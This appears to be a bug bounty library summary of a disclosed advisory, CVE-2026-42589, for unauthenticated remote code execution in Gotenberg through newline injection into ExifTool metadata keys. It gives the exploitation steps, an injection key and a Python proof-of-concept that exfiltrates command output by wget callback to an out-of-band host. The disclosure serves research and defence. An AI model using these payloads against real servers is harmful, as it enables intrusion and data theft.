# Gotenberg has Unauthenticated RCE via ExifTool Metadata Key Injection

Gotenberg's metadata/write endpoint passes unvalidated JSON keys to ExifTool stdin; a newline in a key injects -if Perl expressions, yielding unauthenticated RCE.

- Payout: Research
- Severity: critical
- Program: Gotenberg
- Found by: S-Senhaji
- Disclosed: 2026-05-07
- CVE: CVE-2026-42589
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-rqgh-gxv4-6657
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-rqgh-gxv4-6657
- Tags: area:web domain:api domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:go technique:oob-exfil technique:source-review vuln:command-injection vuln:rce

**Target:** /forms/pdfengines/metadata/write HTTP endpoint (go-exiftool stdin)
**Root cause:** JSON metadata keys are forwarded verbatim to go-exiftool, which writes `-<key>=<value>` to ExifTool stdin; embedded newlines split the line into new ExifTool arguments. The dangerousTags exact-match blocklist does not strip control characters.
**Steps:**
1. POST a valid PDF plus a metadata JSON object whose key embeds newlines to `/forms/pdfengines/metadata/write`.
2. Key like `Title\n-if\nsystem('id>/tmp/pwned')||1\n-Comment` survives json.Unmarshal as literal newlines.
3. go-exiftool writes `-Title\n-if\nsystem('id>/tmp/pwned')||1\n-Comment=x` to ExifTool stdin, splitting into separate argument lines.
4. ExifTool evaluates `-if system('id>/tmp/pwned')||1` as a Perl expression and runs the command.
5. Response is HTTP 200 with a valid PDF; exfiltrate output via OOB HTTP callback (e.g. `wget ...?c=$(id|base64)`).
**How found:** Noticed the dangerousTags blocklist (FileName, Directory) shows authors knew keys are dangerous but used exact-match deletion; hypothesized control characters in keys would break the stdin line format of go-exiftool's `fmt.Fprintln(e.stdin, "-"+k+"="+str)` and tried newline injection into ExifTool's -if Perl-eval flag.
**Exploitation:** Single unauthenticated HTTP request; attacker supplies any valid PDF (can be generated via /forms/chromium/convert/url) and a crafted metadata key. Command output exfiltrated out-of-band via base64-encoded HTTP callback since the response is a normal PDF. Runs as uid=1001(gotenberg), member of root group in default Docker image.
**Escalation:** Default Docker image places gotenberg user in root group, widening file access; network pivot possible from compromised container.
**Insight:** When a wrapper writes `-key=value` lines to a CLI tool's stdin, test newline/CR in the key to split into new flags; look for tools with expression-eval flags (-if in ExifTool) as the RCE primitive, and note that exact-match blocklists never cover control characters.

## Proof of concept (copied exactly from the original report)

**Python PoC exploit function**

```
def exploit(target, pdf, oob, cmd):
    import tempfile, os
    key  = f'Title\n-if\nsystem(\'wget -q -O /dev/null "{oob}?c=$({cmd}|base64|tr -d "=\\n")" 2>/dev/null\')||1\n-Comment'
    meta = json.dumps({key: "x"})
    with tempfile.NamedTemporaryFile(suffix=".pdf", delete=False) as f:
        f.write(pdf); tmp = f.name
    try:
        r = subprocess.run(["curl", "-s", "-o", "/dev/null", "-w", "%{http_code}",
                            "-X", "POST", f"{target}/forms/pdfengines/metadata/write",
                            "-F", f"files=@{tmp};type=application/pdf",
                            "--form-string", f"metadata={meta}"],
                           capture_output=True, text=True, timeout=30)
        return int(r.stdout.strip())
    finally:
        os.unlink(tmp)
```

